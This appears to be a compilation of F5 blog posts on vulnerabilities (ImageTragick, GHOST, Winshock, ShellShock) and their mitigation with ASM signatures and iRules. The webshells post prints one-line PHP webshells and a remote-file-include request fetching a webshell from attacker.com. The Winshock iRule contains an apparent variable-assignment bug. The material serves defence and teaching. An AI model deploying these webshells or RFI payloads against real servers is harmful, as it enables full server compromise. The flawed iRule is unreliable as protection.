ImageTragick - The Tragick continues
Abstract We keep talking about the fact that ASM is an effective tool for protecting the 0-day attacks. Two years ago we were able to detect the shellshock exploitations attempts by detecting the carried commands that the shellshock was used to execute. More details are here: Mitigating the Unknown. ImageMagick ImageMagick, a very popular image editing library, has a new vulnerability which allows a code execution abusing an incorrectly parsed file format. We already wrote about ImageMagick in June because there were multiple CVEs about mishandling the MVG and SVG file formats, allowing abuse of ImageMagick based software to create and delete files, move them, and run commands, only by abusing incomplete input validation in ImageMagick’s file format. Sometime after the original CVEs another CVE showed up, allowing another attacker to execute an arbitrary shell command using the pipe character (“|”) at the start of the processed filename. CVE-2016-5118 CVE ID for the new vulnerability is CVE-2016-5118andjust like the earlier CVE-2016-3714, it may allow the attacker to remotely smuggle and run shell commands on the server. Luckily for us, ASM is great with mitigating the 0-day shell and code execution vectors and, therefore, nothing had to be reconfigured to keep our server safe from this attack. In this particular example, ASM has detected using 3 ASM signatures: echo sig_id 200003045, cat sig_id 200003065 /usr sig_id 200003060 Conclusion I believe that we have not seen the last CVE for the ImageMagick based software but ASM should be able to detect and block the exploitation attempts for the vulnerabilities that were already discovered and those which are yet to come. We will continue to follow the issue and update the signatures when needed.
GHOST Vulnerability (CVE-2015-0235)
On 27 of January Qualys publisheda critical vulnerability dubbed “GHOST” as it can be triggered by the GetHOST functions ( gethostbyname*() ) of the glibc library shipping with the Linux kernel. Glibc is the main library of C language functionality and is present on most linux distributions. Those functions are used to get a corresponding structure out of a supplied hostname, while it also performs a DNS lookup if the hostname is a domain name and not an IP address. The vulnerable functions are obsolete however are still in use by many popular applications such as Apache, MySQL, Nginx and Node.js. Presently this vulnerability was proven to be remotely exploited for the Exim mail service only, while arbitrary code execution on any other system using those vulnerable functions is very context-dependent. Qualys mentioned through a security email list, the applications that were investigated but found to not contain the buffer overflow. Read more on the email list archive link below: http://seclists.org/oss-sec/2015/q1/283 Currently, F5 is not aware of any vulnerable web application, although PHP applications might be potentially vulnerable due to its “gethostbyname()” equivalent. UPDATE: WordPress content management system using xml-rpc ping back functionality was found to be vulnerable to the GHOST vulnerability. WordPress automatically notifies popular Update Services that you've updated your blog by sending aXML-RPCpingeach time you create or update a post. By sending a specially crafted hostname as paramter of xml-rpc ping back method the vulnerable Wordpress will return "500" HTTP response or no response at all after resulting in memory corruption. However, no exploitability was proven yet. Using ASM to Mitigate WordPress GHOST exploit As the crafted hostname should be around 1000 characters to trigger the vulnerability, limiting request size will mitigate the threat. Add the following user defined attack signature to detect and prevent potential exploitation of this specific vulnerability for WordPress systems. For version greater than 11.2.x: uricontent:"xmlrpc.php"; objonly; nocase; content:"methodcall"; nocase; re2:"/https?://(?:.*?)?[\d\.]{500}/i"; For versions below 11.2.x: uricontent:"xmlrpc.php"; objonly; nocase; content:"methodcall"; nocase; pcre:"/https?://(?:.*?)?[\d\.]{500}/i"; This signature will catch any request to the "xmlrpc.php" URL which contains IPv4 format hostname greater than 500 characters. iRule Mitigation for Exim GHOST exploit At this time, only Exim mail servers are known to be exploitable remotely if configured to verify hosts after EHLO/HELO command in an SMTP session. If you run the Exim mail server behind a BigIP, the following iRule will detect and mitigate exploitation attempts: when CLIENT_ACCEPTED { TCP::collect } when CLIENT_DATA { if { ( [string toupper [TCP::payload]] starts_with "HELO " or [string toupper [TCP::payload]] starts_with "EHLO " ) and ( [TCP::payload length] > 1000 ) } { log local0. "Detected GHOST exploitation attempt" TCP::close } TCP::release TCP::collect } This iRule will catch any HELO/EHLO command greater than 1000 bytes. Create a new iRule and attach it to your virtual server.
Mitigating Winshock (CVE-2014-6321) Vulnerabilities Using BIG-IP iRules
Recently we’ve witnessed yet another earth shattering vulnerability in a popular and very fundamental service. Dubbed Winshock, it follows and joins the Heartbleed, Shellshock and Poodle in the pantheon of critical vulnerabilities discovered in 2014. Winshock (CVE-2014-6321) earns a 10.0 CVSS score due to being related to a common service such as TLS, and potentially allowing remote arbitrary code execution. SChannel From MSDN: Secure Channel, also known as Schannel, is a security support provider (SSP) that contains a set of security protocols that provide identity authentication and secure, private communication through encryption. Basically, SChannel is Microsoft’s implementation of TLS, and it is used in various MS-related services that support encryption and authentication – such as: Internet Information Services (IIS), Remote Desktop Protocol, Exchange and Outlook Web Access, SharePoint, Active Directory and more. Naturally, SChannel also contains implementation for the TLS handshake protocol, which is performed before every secure session is established between the client and the server. The TLS Handshake The following image demonstrates how a typical TLS handshake looks like: Image source: http://www-01.ibm.com/support/knowledgecenter/SSFKSJ_7.1.0/com.ibm.mq.doc/sy10660_.htm?lang=en The handshake is used for the client and the server to agree on the terms of the connection. The handshake is conducted using messages, for the purpose of authenticating between the server and the client, agreeing on cipher suites, and exchanging public keys using certificates. Each type of message is passed on the wire as a unique “TLS Record”. Several messages (TLS records) may be sent over one packet. Some of the known TLS records are the following: Client Hello – The client announces it would like to initiate a connection with the server. It also presents all the various cipher suites it can support. This record may also have numerous extensions used to provide even more data. Server Hello – The server acknowledges the Client Hello and presents its own information. Certificate Request – In some scenarios, the client is required to present its certificate in order to authenticate itself. This is known as two-way authentication (or a mutual authentication). The Certificate Request message is sent by the server and forces the client to present a valid certificate before the handshake is successful. Certificate – A message used to transfer the contents of a certificate, including subject name, issuer, public key and more. Certificate Verify – Contains signed value using the client’s private key. It is presented by the client along with their certificate during a 2-way handshake, and serves as a proof of the client actually holding the certificate they claim to. SChannel Vulnerabilities Two vulnerabilities were found in the way SChannel handles those TLS records. One vulnerability occurs when parsing the “server_name” extension of the Client Hello message. This extension is typically used to specify the host name which the client is trying to connect to on the target server. In some way this is similar to the HTTP “Host” header. It was found that SChannel will not properly manage memory allocation when this record contains more than one server name. This vulnerability leads to denial of service by memory exhaustion. The other vulnerability occurs when an invalid signed value is presented inside a Certificate Verify message. It was found that values larger than what the server expects will be written to the memory beyond the allocated buffer scope. This behavior may result in a potential remote code execution. Mitigationwith BIG-IP iRules SSL offloading using BIG-IP is inherently not vulnerable as it does not relay vulnerable messages to the backend server. However, in a “pass-through” scenario, where all the TLS handshake messages are being forwarded without inspection, backend servers may be vulnerable to these attacks. The following iRule will detect and mitigate attempts to exploit above SChannel vulnerabilities: when CLIENT_ACCEPTED { TCP::collect set MAX_TLS_RECORDS 16 set iPacketCounter 0 set iRecordPointer 0 set sPrimeCurve "" set iMessageLength 0 } when CLIENT_DATA { #log local0. "New TCP packet. Length [TCP::payload length]. Packet Counter $iPacketCounter" set bScanTLSRecords 0 if { $iPacketCounter == 0 } { binary scan [TCP::payload] cSS tls_xacttype tls_version tls_recordlen if { [info exists tls_xacttype] && [info exists tls_version] && [info exists tls_recordlen] } { if { ($tls_version == "769" || $tls_version == "770" || $tls_version == "771") && $tls_xacttype == 22 } { set bScanTLSRecords 1 } } } if { $iPacketCounter > 0 } { # Got here mid record, collect more fragments #log local0. "Gather. tls rec $tls_recordlen, ptr $iRecordPointer" if { [expr {$iRecordPointer + $tls_recordlen + 5}] <= [TCP::payload length] } { #log local0. "Full record received" set bScanTLSRecords 1 } else { #log local0. "Record STILL fragmented" set iPacketCounter [expr {$iPacketCounter + 1}] TCP::collect } } if { $bScanTLSRecords } { # Start scanning records set bNextRecord 1 set bKill 0 while { $bNextRecord >= 1 } { #log local0. "Reading next record. ptr $iRecordPointer" binary scan [TCP::payload] @${iRecordPointer}cSS tls_xacttype tls_version tls_recordlen #log local0. "SSL Record Type $tls_xacttype , Version: $tls_version , Record Length: $tls_recordlen" if { [expr {$iRecordPointer + $tls_recordlen + 5}] <= [TCP::payload length] } { binary scan [TCP::payload] @[expr {$iRecordPointer + 5}]c tls_action if { $tls_xacttype == 22 && $tls_action == 1 } { #log local0. "Client Hello" set iRecordOffset [expr {$iRecordPointer + 43}] binary scan [TCP::payload] @${iRecordOffset}c tls_sessidlen set iRecordOffset [expr {$iRecordOffset + 1 + $tls_sessidlen}] binary scan [TCP::payload] @${iRecordOffset}S tls_ciphlen set iRecordOffset [expr {$iRecordOffset + 2 + $tls_ciphlen}] binary scan [TCP::payload] @${iRecordOffset}c tls_complen set iRecordOffset [expr {$iRecordOffset + 1 + $tls_complen}] binary scan [TCP::payload] @${iRecordOffset}S tls_extenlen set iRecordOffset [expr {$iRecordOffset + 2}] binary scan [TCP::payload] @${iRecordOffset}a* tls_extensions for { set i 0 } { $i < $tls_extenlen } { incr i 4 } { set iExtensionOffset [expr {$i}] binary scan $tls_extensions @${iExtensionOffset}SS etype elen if { ($etype == "00") } { set iScanStart [expr {$iExtensionOffset + 9}] set iScanLength [expr {$elen - 5}] binary scan $tls_extensions @${iScanStart}A${iScanLength} tls_servername if { [regexp \x00 $tls_servername] } { log local0. "Winshock detected - NULL character in host name. Server Name: $tls_servername" set bKill 1 } else { #log local0. "Server Name found valid: $tls_servername" } set iExtensionOffset [expr {$iExtensionOffset + $elen}] } else { #log local0. "Uninteresting extension $etype" set iExtensionOffset [expr {$iExtensionOffset + $elen}] } set i $iExtensionOffset } } elseif { $tls_xacttype == 22 && $tls_action == 11 } { #log local0. "Certificate" set iScanStart [expr {$iRecordPointer + 17}] set iScanLength [expr {$tls_recordlen - 12}] binary scan [TCP::payload] @${iScanStart}A${iScanLength} client_certificate if { [regexp {\x30\x59\x30\x13\x06\x07\x2a\x86\x48\xce\x3d\x02\x01(\x06\x08\x2a\x86\x48\xce\x3d\x03\x01\x07|\x06\x05\x2b\x81\x04\x00(?:\x22|\x23))} $client_certificate reMatchAll reMatch01] } { #log local0. $match01 switch $reMatch01 { "\x06\x08\x2a\x86\x48\xce\x3d\x03\x01\x07" { set sPrimeCurve "P-256" } "\x06\x05\x2b\x81\x04\x00\x22" { set sPrimeCurve "P-384" } "\x06\x05\x2b\x81\x04\x00\x23" { set sPrimeCurve "P-521" } default { #log local0. "Invalid curve" } } } } elseif { $tls_xacttype == 22 && $tls_action == 15 } { #log local0. "Certificate Verify" set iScanStart [expr {$iRecordPointer + 11}] set iScanLength [expr {$tls_recordlen - 6}] binary scan [TCP::payload] @${iScanStart}A${iScanLength} client_signature binary scan $client_signature c cSignatureHeader if { $cSignatureHeader == 48 } { binary scan $client_signature @3c r_len set s_len_offset [expr {$r_len + 5}] binary scan $client_signature @${s_len_offset}c s_len set iMessageLength $r_len if { $iMessageLength < $s_len } { set iMessageLength $s_len } } else { #log local0. "Sig header invalid" } } else { #log local0. "Uninteresting TLS action" } # Curve and length found - check Winshock if { $sPrimeCurve ne "" && $iMessageLength > 0 } { set iMaxLength 0 switch $sPrimeCurve { "P-256" { set $iMaxLength 33 } "P-384" { set $iMaxLength 49 } "P-521" { set $iMaxLength 66 } } if { $iMessageLength > $iMaxLength } { log local0. "Winshock detected - Invalid message length (found: $iMessageLength, max:$iMaxLength)" set bKill 1 } } # Exploit found, close connection if { $bKill } { TCP::close set bNextRecord 0 } else { # Next record set iRecordPointer [expr {$iRecordPointer + $tls_recordlen + 5}] if { $iRecordPointer == [TCP::payload length]} { # End of records => Assume it is the end of the packet. #log local0. "End of records" set bNextRecord 0 set iPacketCounter 0 set iRecordPointer 0 set sPrimeCurve "" set iMessageLength 0 TCP::release TCP::collect } else { if { $bNextRecord < $MAX_TLS_RECORDS } { set bNextRecord [expr {$bNextRecord + 1}] } else { set bNextRecord 0 #log local0. "Too many loops over TLS records, exit now" TCP::release TCP::collect } } } } else { #log local0. "Record fragmented" set bNextRecord 0 set iPacketCounter [expr {$iPacketCounter + 1}] TCP::collect } } } else { # Exit here if packet is not TLS handshake if { $iPacketCounter == 0 } { TCP::release TCP::collect } } } Create a new iRule and attach it to your virtual server.Webshells
Webshells are web scripts (PHP/ASPX/etc.) that act as a control panel for the server running them. A webshell may be legitimately used by the administrator to perform actions on the server, such as: Create a user Restart a service Clean up disk space Read logs More… Therefore, a webshell simplifies server management for administrators that are not familiar with (or are less comfortable with) internal system commands using the console. However, webshells have bad connotations as well – they are a very popular post-exploitation tool that allow an attacker to gain full system control. Webshell Examples An example of a webshell may be as simple as the following script: <?php echo(system($_GET["q"])); ?> This script will read a user-provided value and pass it on to the underlying operating system as a shell command. For instance, issuing the following request will invoke the ‘ls’ command and print the result to the screen: http://example.com/webshell.php?q=ls An even simpler example for a webshell may be this: <?php eval($_GET["q"]); ?> This script will simply use the contents of the parameter “q” and evaluate it as pure PHP code. Example: http://example.com/webshell.php?q=echo%20("hello%20world")%3B From this point, the options are limitless. An attacker that uses a webshell on a compromised server effectively has full control over the application. If the web application is running under root – the attacker has full control over the entire web server as well. In many cases, the neighboring servers on the local network are at risk as well. How does a webshell attack work? We’ve now seen that a webshell script is a very powerful tool. However, a webshell is a “post-exploitation” tool – meaning an attacker first has to find a vulnerability in the web application, exploit it, and upload their webshell onto the server. One way to achieve this is by first uploading the webshell through a legitimate file upload page (for instance, a CV submission form on a company website) and then using an LFI (Local File Include) weakness in the application to include the webshell in one of the pages. A different approach may be an application vulnerable to arbitrary file write. An attacker may simply write the code to a new file on the server. Another example may be an RFI (Remote File Include) weakness in the application that effectively eliminates the need to upload the webshell on to the server. An attacker may host the webshell on a completely different server, and force the application to include it, like this: http://vulnerable.com/rfi.php?include=http://attacker.com/webshell.php The b374k webshell There are many and various implementations of webshells. As mentioned, those are not always meant to be used by attackers, but also by system administrators. Some of the “suspicious” webshells that are more popular with attackers are the following: c99 r57 c100 PHPjackal Locus In this article we will explore an open source webshell called b374k (https://github.com/b374k/b374k). From the readme: This PHP Shell is a useful tool for system or web administrator to do remote management without using cpanel, connecting using ssh, ftp etc. All actions take place within a web browser Features: File manager (view, edit, rename, delete, upload, download, archiver, etc) Search file, file content, folder (also using regex) Command execution More… Once we get the webshell up and running, we can view information and perform actions on the server. Listed below are a few use cases for this webshell that will demonstrate the power of webshells and how attackers can benefit from running them on a compromised web server: View process information and varied system information. Open a terminal and execute various commands, or open a code evaluator to run arbitrary code. Open a reverse shell on the server, to make sure access to the server is preserved. Issue outgoing HTTP requests from the server. Perform social engineering activities to broaden the scope of the attack. Mitigation using F5 ASM The F5 ASM module uses detection and prevention methods for each variation of this attack. For RFI (Remote File Include): ASM will detect any request that attempts to include an external URL, and prevent access. For Unrestricted File Upload + LFI (Local File Include): During upload or creation attempt of the webshell, ASM will detect the active code and prevent it from reaching the server. If the webshell is already on the server, ASM will detect when the application tries to reach the file using LFI and prevent access. If the webshell is already on the server and part of the application, ASM will detect when a suspicious page is requested, and prevent that page from being displayed.The State of the State of Application Exploits in Security Incidents (SoSo Report)
Cybersecurity is always about perspective, and that is doubly true when talking about the rapidly changing field of application security. With The State of the State of Application Exploits in Security Incidents, F5 Labs & Cyentia Institute provide a more complete view of the application security elephant. We examine published industry reports from multiple sources for a better understanding of the frequency and role of application exploits. So, let’s start the clock to learn more about the affectionately named, SoSo Report. Get your copy at F5 Labs
Supplement To The 2021 App Protect Report
We frequently get requests to break down threats in a specific vertical. So, as a follow up to the F5 Labs, 2021 Application Protection Report (APR), we analyzed and visualized the attack chains of more than 700 data breaches looking for relationships between sectors or industries and the tactics and techniques attackers use against them. This effort produced the F5 Labs 2021 APR Supplement: Sectors and Vectors, where we found that while there are some attack patterns that correspond with sectors, the relationships appear indirect and partial, and counterexamples abound. The overall conclusion is that sectors can be useful for predicting an attack vector, but only in the absence of more precise information such as vulnerabilities or published exploits. This is because the types of data and vulnerabilities in the target environment, which determine an attacker’s approach, are no longer tightly correlated with the nature of the business. Look for more details about your sector (Finance, Education, Health Care, Scientific, Retail, etc) in the F5 Labs, 2021 APR Supplement: Of Sectors and Vectors.
Who am I and why am I blogging?
That is a very good question. I never considered blogging before, never thought anyone would be interested in what I have to say. Although just because I blog, does not mean that you will be interested in what I have to say... I have been working for F5 for 4 years now, mainly supporting our Channel and SI partners. These days I work directly with larger customers on a range of F5 specific solutions. I also look after customers in Ireland where I live. So in advance of March 17th, Happy St. Patricks Day! My focus has been mainly availability and security. As a CISSP and a member of OWASP, I have a keen interest in the latter and I guess this is the topic that excites me. When I say excites, I mean in a good way and a bad way, particularly when I see blatant flouting of basic security practice. I will have a rant here when something takes my fancy. Be forewarned I am grumpy and tend go off on one quite often. Gary Newe Technorati Tags: Application Security, ASM, Security, WAF, Web Application Firewall, f5
Making WAF Simple: Introducing the OWASP Compliance Dashboard
Whether you are a beginner or an expert, there is a truth that I want to let you in on; building and maintaining Web Application Firewall (WAF) security policies can be challenging. How much security do you really need? Is your configuration too much or too little? Have you created an operational nightmare? Many well-intentioned administrators will initially enable every available feature, thinking that it is providing additional security to the application, when in truth, it is hindering it. How, you may ask? False positives and noise. The more noise and false positives, the harder it becomes to find the real attacks and the increased likelihood that you begin disabling features that ARE providing essential security for your applications. So… less is better then? That isn't the answer either, what good are our security solutions if they aren't protecting against anything? The key to success and what we will look at further in this article, is implementing best practice controls that are both measurable and manageable for your organization. The OWASP Application Security Top 10 is a well-respected list of the ten most prevalent and dangerous application layer attacks that you almost certainly should protect your applications from. By first focusing your security controls on the items in the OWASP Top 10, you are improving the manageability of your security solution and getting the most "bang for your buck". Now, the challenge is, how do you take such a list and build real security protections for your applications? Introducing the OWASP Compliance Dashboard Protecting your applications against the OWASP Top 10 is not a new thing, in fact, many organizations have been taking this approach for quite some time. The challenge is that most implementations that claim to "protect" against the OWASP Top 10 rely solely on signature-based protections for only a small subset of the list and provide zero insight into your compliance status. The OWASP Compliance Dashboard introduced in version 15.0 on BIG-IP Advanced WAF reinvents this idea by providing a holistic and interactive dashboard that clearly measures your compliancy against the OWASP Application Security Top 10. The Top 10 is then broken down into specific security protections including both positive and negative security controls that can be enabled, disabled, or ignored directly on the dashboard. We realize that a WAF policy alone may not provide complete protection across the OWASP Top 10, this is why the dashboard also includes the ability to review and track the compliancy of best practices outside the scope of a WAF alone, such as whether the application is subject to routine patching or vulnerability scanning. To illustrate this, let’s assume I have created a brand new WAF policy using the Rapid Deployment policy template and accepted all default settings, what compliance score do you think this policy might have? Let's take a look. Interesting. The policy is 0/10 compliant and only A2 Broken Authentication and A3 Sensitive Data Exposure have partial compliance. Why is that? The Rapid Deployment template should include some protections by default, shouldn't it? Expanding A1 Injection, we see a list of protections required in order to be marked as compliant. Hovering over the list of attack signatures, we see that each category of signature is in 'Staging' mode, aha! Signatures in staging mode are not enforced and therefore cannot block traffic. Until the signature set is in enforced, we do not mark that protection as compliant. For those of you who have mistakenly left entities such as Signatures in staging for longer than desired, this is also a GREAT way to quickly find them. I also told you we could also interact with the dashboard to influence the compliancy score, lets demonstrate that. Each item can be enforced DIRECTLY on the dashboard by selecting the "Enforce" checkmark on the right. No need to go into multiple menus, you can enforce all these security settings on a single page and preview the compliance status immediately. If you are happy with your selection, click on "Review & Update" to perform a final review of what the dashboard will be configuring on your behalf before you can click on "Save & Apply Policy". Note: Enforcing signatures before a period of staging may not be a good idea depending on your environment. Staging provides a period to assess signature matches in order to eliminate false positives. Enforcing these signatures too quickly could result in the denying of legitimate traffic. Let's review the compliancy of our policy now with these changes applied. As you can see, A1 Injection is now 100% compliant and other categories have also had their score updated as a result of enforcing these signatures. The reason for this is because there is overlap in the security controls applied acrossthese other categories. Not all security controls can be fully implemented directly via the dashboard, and as mentioned previously, not all security controls are signature-based. A6 Cross-Site Scripting was recalculated as 50% complaint with the signatures we enforced previously so let's take a look at what else it required for full compliancy. The options available to us are to IGNORE the requirement, meaning we will be granted full compliancy for that item without implementing any protection, or we can manually configure the protection referenced. We may want to ignore a protection if it is not applicable to the application or if it is not in scope for your deployment. Be mindful that ignoring an item means you are potentially misrepresenting the score of your policy, be very certain that the protection you are ignoring is in fact not applicable before doing so. I've selected to ignore the requirement for "Disallowed Meta Characters in Parameters" and my policy is now 100% compliance for A7 Cross-Site Scripting (XSS). Lastly, we will look at items within the dashboard that fall outside the scope of WAF protections. Under A9 Using Components with Known Vulnerabilities, we are presented with a series of best practices such as “Application and system hardening”, “Application and system patching” and “Vulnerability scanner integration”. Using the dashboard, you can click on the checkmark to the right for "Requirement fulfilled" to indicate that your organization implements these best practices. By doing so, the OWASP Compliance score updates, providing you with real-time visibility into the compliancy for your application. Conclusion The OWASP Compliance Dashboard on BIG-IP Advanced WAF is a perfect fit for the security administrator looking to fine-tune and measure either existing or new WAF policies against the OWASP App Security Top 10. The OWASP Compliance Dashboard not only tracks WAF-specific security protections but also includes general best practices, allowing you to use the dashboard as your one-stop-shop to measure the compliancy for ALL your applications. For many applications, protection against the OWASP Top 10 may be enough, as it provides you with best practices to follow without having to worry about which features to implement and where. Note: Keep in mind that some applications may require additional controls beyond the protections included in the OWASP Top 10 list. For teams heavily embracing automation and CI/CD pipelines, logging into a GUI to perform changes likely does not sound appealing. In that case, I suggest reading more about our Declarative Advanced WAF policy framework which can be used to represent the WAF policies in any CI/CD pipeline. Combine this with the OWASP Compliance Dashboard for an at-a-glance assessment of your policy and you have the best of both worlds. If you're not already using the OWASP Compliance Dashboard, what are you waiting for? Look out for Bill Brazill, Victor Granic and myself (Kyle McKay) on June 10th at F5 Agility 2020 where we will be presenting and facilitating a class called "Protecting against the OWASP Top 10". In this class, we will be showcasing the OWASP Compliance Dashboard on BIG-IP Advanced WAF further and providing ample hands-on time fine-tuning and measuring WAF policies for OWASP Compliance. Hope to see you there! To learn more, visit the links below. Links OWASP Compliance Dashboard: https://support.f5.com/csp/article/K52596282 OWASP Application Security Top 10: https://owasp.org/www-project-top-ten/ Agility 2020: https://www.f5.com/agility/attend
Mitigating Fortnite Vulnerabilities with BIG-IP ASM
A recently published research by Checkpoint introduced a couple of undiscovered vulnerabilities in the online gaming platform of “Epic Games” – the developers of the famous "Fortnite" game. The impact demonstrated in the Checkpoint research stemmed from an SQL Injection andCross Site Scripting vulnerabilities. The payloads published can be mitigated by BIG-IP ASM with the following signatures: Figure 1: Cross Site Scripting Payload blocked by existing signatures. Figure 2: SQL-Injection payload blocked by multiple existing signatures. Additional Reading https://research.checkpoint.com/hacking-fortnite/Mitigating the Unknown
Mitigating “0-day” attacks, which are named like that because the programmer has zero days to fix the flaw, is apparently impossible. However in practice they can be significantly mitigated. We can buy some time by heavily reducing the “vulnerability window” (until the vulnerability is patched or a specific signature is deployed), thus shifting those attacks to be “N-day” attacks. Once a widely used service has a “0-day” publicly disclosed, massive internet scans for vulnerable servers (known also as “campaigns”) are launched almost immediately. Those scans rely on bots either scanning the whole IP range or searching for potential targets using search engines (known as “Google Dorks”). Being a “0-day” attack, there is no complete protection against it. However a good assumption will be that there will pass a certain time until the exploit will evolve enough to include variations and to deploy evasions or to be customized for a specific target. That’s where a good level of a proactive protection required. A typical “0-day” timeline might look like that: A proactive mitigation strategy includes the following ingredients: positive security, proactive negative security, and attack symptoms mitigation. Taking the WAF as an example, positive security might consist of whitelisting only the needed meta-characters (while blocking all other), enforcing HTTP compliance, configuring mandatory request headers, and narrowing down HTTP methods, and file types. And much more can be whitelisted. Whitelisting the entire application (building full positive security model) can be challenging sometimes. It is not less important to rely on proactive attack signatures which are not coupled with a specific CVE, but rather focusing on generic exploitation and evasion patterns and those which try to catch the actual post exploitation payload, regardless of the specific weakness which allowed delivering it in first place. Due to the automation of the “campaign” process, a crucial mitigation factor during the “vulnerability window” might be also relying on detecting automation attack symptoms, such as deploying strong bot detection techniques, blocking TOR exit nodes and having a good IP reputation feed. ShellShock Example I want to use the latest high profile “ShellShock” vulnerability (CVE-2014-6271 and friends), and see how we take this theory into practice. Let’s take some of the popular real attack vectors used in this recent attack and see how specifically BIG-IP ASM detected them using the proactive approach, before there was a designated “ShellShock” signature. The attack vectors are a mix taken from Exploit-DB, Metaslploit, shellshock.py, detectify.com portal, and requests recorded by honeypots. Result of running the vectors against ASM As we can see all of those vectors were blocked. Blocked requests in the ASM event log Let’s dig in and understand what prevented the exploitation. We can see that the exploit is sent via the “User-Agent” header. It is running “/bin/bash” to download the malware using “wget”, running it using Perl and finally removing the malware file itself. Exploit in the wild Signature triggered by an exploit in the wild Without being aware to the actual weakness “() { :;};” which triggers the code execution, the exploit is caught for several reasons. First, we see that it is targeting the “/cgi-bin/bash” location, thus triggering 2 URI signatures looking for this senstive URL (200000034 and 200100316). Second, ASM caught the actual command that performs the server takeover (the “payload”) by a signature that looks for calling executables from “/bin” directory (200003058). This is the exact example of proactive signatures which look for the actual “takeover” payload or the senstive location/resources that are being targeted, rather than only focusing on the exact weakness that opens the door for exploitation. As for postive security, customers who would fence themselves with non legitimate or very rare characters in headers such as “[“, ”]”, ”`”, ”{“, ”}” would have even prevented the 0-day attack itself ( “{“ character in the case of ShellShock ). Several other signatures (2000021069 and 200021092) for automated user-agents, “wget” and “perl”, are also triggered as the payload is delivered throught the user-agent header (which is true for most of the "ShellShock" exploits). Let’s observe another attack vector: shellshock.py exploit Signature triggered by shellshock.py We see the same “/bin” execution signature (200003058), however we also detect a symptom of a suspicious behavior and a signature for automated python client is fired (200021101). While looking on the exploit published on “Exploit-DB” and some other vectors in the wild we see that the only signature that bravely shields against their successful exploitation is the same “/bin” execution signature (200003058). Of course, if there was another command that does not have a corresponding signature (because it is not considered sensitive, most likely causes false positive or just missing) the attack vector could penetrate (like in the case of “() { :; }; ping x.x.x.x” vector). But that’s where our previously mentioned assumption takes place. There is a crucial time, during the “vulnerability window”, just before the exploit expands to several variations or being evolved to other payloads as well. It is not by accident that we can rely on that single signature to buy us some time before the patch is applied. Exploit from Exploit-DB Signature triggered by exploit from “Exploit-DB” Another proactive measure which is directly related to attack symptoms and can serve as a life belt during the “vulnerability period” is using ASM’s bot protection features which incorporates several state-of the art techniques to identify automated bots regardless of the payload they are trying to deliver. Afterword We are not stating that there is a complete protection against previously unknown attacks, however, there is definitely an already existing proactive set of tools that might significantly lower your chances for compromise in a critical exposed period until the full patch is deployed.
